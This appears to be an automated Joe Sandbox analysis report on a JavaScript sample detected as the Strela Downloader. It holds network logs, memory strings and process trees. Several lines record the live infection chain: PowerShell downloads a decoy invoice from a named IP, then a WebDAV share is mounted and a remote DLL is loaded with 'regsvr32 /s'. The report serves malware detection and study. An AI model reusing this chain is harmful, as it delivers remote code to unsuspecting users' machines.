Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1426115903.000002826F629000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1490363223.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491665168.0000020DC08CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491496930.0000020DC0878000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491582252.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1489065475.0000020DC08CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1490363223.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1491582252.0000020DC08A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: svchost.exe, 00000009.00000002.2719011479.000001ACAB48D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1491300723.000001ACAB310000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3340, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1732630681161426175.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2288:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ed31nngf.jql.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1732630681161426175.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,7742756982774977523,2339685933907997932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,7742756982774977523,2339685933907997932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
